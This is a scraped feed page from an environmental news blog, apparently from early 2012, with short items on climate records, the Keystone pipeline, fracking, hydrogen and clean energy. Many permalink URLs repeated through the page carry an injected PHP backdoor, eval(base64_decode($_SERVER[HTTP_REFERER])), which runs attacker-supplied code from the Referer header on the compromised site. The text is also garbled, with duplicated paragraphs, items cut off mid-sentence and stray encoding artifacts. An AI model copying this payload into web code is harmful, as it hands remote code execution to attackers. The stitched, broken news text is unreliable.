Globally, 9 of the 10 warmest years on record occurred since 2000 The global average temperature last year was the ninth-warmest in the modern meteorological record, continuing a trend linked to greenhouse gases that saw nine of the 10 hottest years occurring since the year 2000, NASA scientists said on Thursday. A separate report from the U.S. National Oceanic and Atmospheric Administration (NOAA) said the average temperature for the United States in 2011 as the 23rd warmest year on record. The global average surface temperature for 2011 was 0.92 degrees F (0.51 degrees C) warmer than the mid-20th century baseline temperature, researchers at NASA’s Goddard Institute for Space Studies said in a statement. The institute’s temperature record began in 1880. The first 11 years of the new century were notably hotter than the middle and late 20th century, according to institute director James Hansen. The only year from the 20th century that was among the top 10 warmest years was 1998.

Asbestos Use Today: information from a reader Asbestos is still imported and used in the U.S. According to the U.S. Geological Survey, the U.S. imported and used an estimated 1,820 tons of asbestos in 2007; see this PDF file from the USGS, please click only if you want to download the PDF. Also, the U.S. House of Representatives is considering a bill [.]

Dulas Delivers National Trusts Largest Solar Installation in Wales Filed under: Energy News

Obituary: Plastic coffee cup lid dies at age 44 Today the plastic lid was killed, murdered actually , by a radical reinvention of the disposable coffee mug called Compleat. I give this a design grade of A+. Sustainability grade? Well . . I’m not sure the planet will notice.

Take Action: Stop Enviro Attacks in Congress The U.S. House voted 191 times to weaken environmental standards in 2011. Please take action to send Congress a message: Stop the environmental attacks in 2012!

Switch Lighting, creator of the only LED that uses liquid cooling technology, is on the cusp of a breakout year in 2012. The Switch bulb creates the same warm color of an incandescent, yet its made with reclaimable or recyclable materials using the Cradle to Cradle methodology. Inside the bulb is a liquid thermal cooling solution that helps cool the LEDs from all sides, producing more light from less LEDs. In fact, a Switch bulb lasts about 25 times longer and uses 80% less energy than an incandescent.

Obama administration rejects Keystone The Obama administration on Wednesday rejected the Keystone crude oil pipeline project, a decision welcomed by environmental groups but blasted by the domestic energy industry. U.S. President Barack Obama said TransCanada’s application for the 1,700-mile (2,740-km) pipeline was denied because the State Department did not have enough time to complete the review process. “This announcement is not a judgment on the merits of the pipeline, but the arbitrary nature of a deadline that prevented the State Department from gathering the information necessary to approve the project and protect the American people,” Obama said in a statement.

Scientists: agriculture major player in climate change. A team of scientists is urging that agriculture be a top priority in climate change negotiations, saying its vital for global food security and for reducing carbon emissions.

Genetically Modified Plants To Resist Intense Drought Israeli agro-biotechnology company, Rosetta Green, has developed a new technology to develop plants that are better able to withstand prolonged periods of severe drought. The company aims to develop new plant varieties resistant to harsh climatic condition, maintaining an increased yield. The company, based in Rehovot, Israel, experimented on tobacco plants that were irrigated with seawater instead of freshwater. The genetically modified plants created by the company were able to grow under seawater irrigation, as opposed to the control group of plants. According to the company’s CEO, Amir Avniel, “the frequent droughts afflicting the world in recent years and the motivation to expand to arid lands containing brackish water require the development of plant varieties resistant to drought and irrigation with salt water.” Rosetta Green is using a technology that can identify MicroRNAs, which are short RNA molecules that play an important role in the regulation of key genetic traits in major crops. The MicroRNAs identified by the company were used to develop prototype plants with significantly improved drought tolerance.

]]> http://monitorpowercost.com/2012/02/03/take-action-stop-enviro-attacks-in-congress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://monitorpowercost.com/2012/02/02/stop-the-environment-vs-economy-nonsenseeur-or-eurrisk-becoming-irrelevant-leading-investor-says-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://monitorpowercost.com/2012/02/02/stop-the-environment-vs-economy-nonsenseeur-or-eurrisk-becoming-irrelevant-leading-investor-says-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 02 Feb 2012 15:28:01 +0000 admin A Surprising Call From The Investment Community
Filed under: Energy News

No orphan left behind: Health and environmental NGOs support EPAs proposed paired rules to address high production volume “orphan” chemicals By Richard DenisonRichard Denison, Ph.D., is a Senior Scientist. ]]> http://monitorpowercost.com/2012/02/02/stop-the-environment-vs-economy-nonsenseeur-or-eurrisk-becoming-irrelevant-leading-investor-says-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://monitorpowercost.com/2012/02/01/building-a-sustainable-hydrogen-economy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://monitorpowercost.com/2012/02/01/building-a-sustainable-hydrogen-economy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 01 Feb 2012 15:59:02 +0000 admin

No reason to rush decision on pipeline. It will take far more than the short 60-day limit Congress irresponsibly imposed for deciding whether some version of the project can be done without inflicting unacceptable and irreversible damage to the environmnent.

Fords Future Cars: Plastic Bottle Carpets and Soy Seats Have you ever wondered how an electric vehicle works, or how car companies can use more environmentally friendly materials? Ford sustainability expert John Viera has spent his entire career working on everything from fuel efficiency improvements in vehicles to sustainability initiatives for manufacturing facilities, and is excited to talk shop with Sierra Club Green Home readers.

Building a Sustainable Hydrogen Economy The concept of the hydrogen economy (HE), in which hydrogen would replace the carbon-based fossil fuels of the twentieth century was first mooted in the 1970s. Today, HE is seen as a potential solution to the dual global crises of climate change and dwindling oil reserves. A research paper to be published in the International Journal of Sustainable Design suggests that HE is wrong and SHE has the answer in the sustainable hydrogen economy. John Andrews of the School of Aerospace, Mechanical and Manufacturing Engineering, at RMIT University, in Bundoora, Victoria, Australia, explains how rather than there being a straight choice between hydrogen fuel cells and battery electric vehicles, it is time to accept that horsepower is a matter of “horses for courses.” He adds that hydrogen can be produced using renewables — water as the material source and wind power or solar as the energy supply for conversion. It thus offers a zero-emissions approach to fuel production for power generation using fuel cells to convert the hydrogen into electricity for all modes of transport as an alternative to petroleum fuels. Hydrogen generated by via wind power can also act as an energy-storage medium for times when wind and sun are unable to fulfill power requirements.

EU Offshore Wind Energy Pipeline Projects Will Boost Capacity 62%; 866 MW of New Capacity in 2011 Filed under: Energy News

Duke Energy agreement cuts pollution by retiring coal plants in Carolinas a settlement with Duke Energy that will cut pollution by phasing out over 1600 mega watts of dirty, old coal-fired power Publication Date:  Tue, 2012-01-17 Press Release from Environmental Defense Fund, National Parks Conservation Association, Sierra Club, Southern Alliance for Clean Energy, and Southern Environmental Law CenterContacts: SELC, Kathleen Sullivan 919-945-7106 or ksullivan@selcnc.org Representing: EDF, Michael Regan, 919-946-4907 (cell) or mregan@edf.org   NPCA, Jeff Billington, 202- 419-3717 or jbillington@npca.org SACE, Aaron Sarver, 865-235-1448 or aaron@cleanenergy.com Sierra Club, Jenna Garland, 404-607-1262 x 222 or jenna.garland@sierraclub.org CHAPEL HILL, N.C.EUR ]]> http://monitorpowercost.com/2012/02/01/building-a-sustainable-hydrogen-economy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://monitorpowercost.com/2012/01/31/take-action-support-stronger-fuel-economy-standards/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://monitorpowercost.com/2012/01/31/take-action-support-stronger-fuel-economy-standards/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 31 Jan 2012 15:17:01 +0000 admin

Climate change brings alien species to Canada: Study. A newly published study says alien plants and animals are already invading Canada through doors opened by climate change EUR and research and policy are lagging far behind.

Goodall says saving apes requires habitat support. Ape expert Jane Goodall, in Des Moines on Thursday to kick off a lecture series, said that at least some great ape species can be saved from extinction if Iowans and others around the globe work to provide habitat.

Take Action: Support Stronger Fuel Economy Standards The EPA and DOT are proposing strong new fuel economy and pollution standards for cars and trucks. These standards would require America’s fleet to average 54.5 miles per gallon by 2025, more than doubling the current standards.

Vermont Yankee Lives to Power Another Day Filed under: Energy News

Environmental Defense Fund Awarded $500,000 In 2012 Zayed Future Energy Prize Competition Award Honors Innovative Leaders Actively Making A Difference In The Clean Energy Sector Award Honors Innovative Leaders Actively Making A Difference In The Clean Energy Sector Publication Date:  Tue, 2012-01-17 NEWS RELEASEContact: Mica Odom, 512-691-3451, modom@edf.org Miriam Horn, 646-641-9316, mhorn@edf.org(Abu Dhabi, United Arab Emirates EUR January 17, 2012) Zayed FutureEnergy Prize announced today that Environmental Defense Fund received the$500,000 second runner-up award in the Small-to-MediumSize Enterprises (SME) and Non-Governmental Organizations (NGO)category. Since 2009, the Zayed Future Energy Prize has acknowledged andrewarded impact, long-term vision, leadership and innovation in renewableenergy and sustainability.”Weare deeply honored that Environmental Defense Funds renewable energy work hasbeen recognized in the 2012 Zayed Future Energy Prize competition,EUR ]]> http://monitorpowercost.com/2012/01/31/take-action-support-stronger-fuel-economy-standards/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://monitorpowercost.com/2012/01/30/us-saw-records-for-extreme-weather-in-2011/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://monitorpowercost.com/2012/01/30/us-saw-records-for-extreme-weather-in-2011/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 30 Jan 2012 15:50:02 +0000 admin

Dell, HP Cut PC Power Consumption 2010 For both laptop and desktop computers, Dell plans to cut power consumption as part of its required work on compliance with the EPA’s EnergyStar 5.0 standard, reports Mark Hachman of pcmag.com. HP earlier said it would cut power use of “volume” PCs by 25 percent, relative to 2005. In those terms, Dell’s reductions would be [.]

EDF Honored As An Innovative Leader Actively Making A Difference In The Clean Energy Sector By Miriam Horn EDF got thrilling news today from Abu Dhabi (home to Masdar, one of the worlds first smart grid pilots): Zayed Future Energy Prize ]]> http://monitorpowercost.com/2012/01/30/us-saw-records-for-extreme-weather-in-2011/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://monitorpowercost.com/2012/01/29/switchgrass-shows-potential-as-biofuel-material/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://monitorpowercost.com/2012/01/29/switchgrass-shows-potential-as-biofuel-material/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 29 Jan 2012 15:22:01 +0000 admin

Genetically Modified Plants To Resist Intense Drought Israeli agro-biotechnology company, Rosetta Green, has developed a new technology to develop plants that are better able to withstand prolonged periods of severe drought. The company aims to develop new plant varieties resistant to harsh climatic condition, maintaining an increased yield. The company, based in Rehovot, Israel, experimented on tobacco plants that were irrigated with seawater instead of freshwater. The genetically modified plants created by the company were able to grow under seawater irrigation, as opposed to the control group of plants. According to the company’s CEO, Amir Avniel, “the frequent droughts afflicting the world in recent years and the motivation to expand to arid lands containing brackish water require the development of plant varieties resistant to drought and irrigation with salt water.” Rosetta Green is using a technology that can identify MicroRNAs, which are short RNA molecules that play an important role in the regulation of key genetic traits in major crops. The MicroRNAs identified by the company were used to develop prototype plants with significantly improved drought tolerance.

Increasing Energy Security Filed under: Energy News

Fracked: The debate over shale gas deepens. Theres another debate going on over a hidden aspect of shale gas: its contribution to global warming.

Jerry Brown braves big chill in talking about climate. Brown devoted a large portion of his annual State of the State address to environmental and climate-related topics. But the California governor relies largely on existing programs for progress.

Frackings greenhouse gas contribution splits Cornell scientists. Two groups of Cornell University researchers have split over the contribution to global warming by rising extraction of natural gas from shale beds through a process known as fracking.

China to Help Saudis With Novel Nuke Power In the wake of a 6-day trip by China’s Premier Win Jiabao to Saudi Arabia, China and Saudi Arabia have forged an alliance on developing nuclear power. Saudi Arabia has signed an agreement with China for assistance in the development of nuclear power, using the last of its oil wealth to invest in the most controversial form of a low carbon energy future for its energy hungry nation. In 2010, the Kingdom established the King Abdullah City for Atomic and Renewable Energy (KACARE) to develop low carbon sources of energy, prompting us to ask: Who’s Going Nuclear in the Middle East?

Cruise Ship Environmental Issues When one thinks of cruise ships, one thinks of grand luxury, solitude, safety, and big. The January 13 capsizing of the Concordia off the coast of Italy, in which at least 11 people died, caught the world EUR ]]> http://monitorpowercost.com/2012/01/28/cruise-ship-environmental-issues/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://monitorpowercost.com/2012/01/27/the-100th-object/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://monitorpowercost.com/2012/01/27/the-100th-object/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 27 Jan 2012 15:15:01 +0000 admin

Policy Briefs from Energy Strategy Summit Filed under: Energy News

Climate change threatens California economy by changing ecosystems Study identifies changes to vegetation types, impacts to ranching, carbon storage Study identifies changes to vegetation types, impacts to ranching, carbon storage. Publication Date:  Thu, 2012-01-19 Contact: Jennifer Witherspoon, 415.293.6067 jwitherspoon@edf.org Erin McKenzie, 919.613.3652, erin.mckenzie@duke.edu(San Francisco) Climate change is likely to harm Californias economy by reducing the types of natural, non-irrigated vegetation available for livestock forage and the ability of forest ecosystems to store carbon dioxide, according to a peer-reviewed study published in the scientific journal Climatic Change. The ability of ecosystems to store carbon dioxide is a key part of implementing the states climate law, the Global Warming Solutions Act, also known as Assembly Bill 32 or AB 32.”Much of the talk about climate change in California has been about the impacts of sea level rise and droughts,” said study coauthor jwitherspoon@edf.org Erin McKenzie, 919.613.3652, erin.mckenzie@duke.edu(San Francisco) Climate change is likely to harm Californias economy by reducing the types of natural, non-irrigated vegetation available for livestock forage and the ability of forest ecosystems to store carbon dioxide, according to a peer-reviewed study published in the scientific journal Climatic Change. The ability of ecosystems to store carbon dioxide is a key part of implementing the states climate law, the Global Warming Solutions Act, also known as Assembly Bill 32 or AB 32.”Much of the talk about climate change in California has been about the impacts of sea level rise and droughts,” said study coauthor Linwood Pendleton, director of ocean and coastal policy at Duke Universitys Nicholas Institute for Environmental Policy Solutions, acting chief economist for the National Oceanic and Atmospheric Administration (NOAA) and study author. “Our work shows that even the gritty worlds of cattle ranching and forestry may take it on the chin as California skies become increasingly carbon-rich.”The study was conducted by researchers from Duke University, Environmental Defense Fund, The Nature Conservancy, Conservation Biology Institute, USDA Forest Service, Stanford University and the University of California at Santa Barbara. It examines how climate change will impact the fundamental character of Californias ecosystems and the valuable services that they provide to the economy.To analyze the impact to carbon sequestration and natural, non-irrigated livestock forageEUR ]]> http://monitorpowercost.com/2012/01/27/the-100th-object/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://monitorpowercost.com/2012/01/26/geothermal-energy-finance-forum-concludes-with-call-for-new-approaches-to-expanding-geothermal-power-production/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://monitorpowercost.com/2012/01/26/geothermal-energy-finance-forum-concludes-with-call-for-new-approaches-to-expanding-geothermal-power-production/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 26 Jan 2012 15:33:02 +0000 admin

GEOTHERMAL ENERGY FINANCE FORUM CONCLUDES WITH CALL FOR NEW APPROACHES TO EXPANDING GEOTHERMAL POWER PRODUCTION Filed under: Energy News

With pipeline stopped for now, tar sands battle continues in California courts. A high-stakes legal battle is underway in California over whether the state’s clean air agency can enforce a first-ever rule to slash carbon emissions in transportation fuels.

Renewable Energy Group Raises $72 Million in Biodiesel IPO Filed under: Energy News

Clean coal plants and biomass to lead boom, Minister pledges. A new generation of environmentally-friendly power stations and vast offshore wind farms will maintain Yorkshires role as the UKs centre of electricity production, the Energy Secretary pledged while on a visit to the region.

Central Japan Bent on Developing Electric Micro Cars Filed under: Energy News

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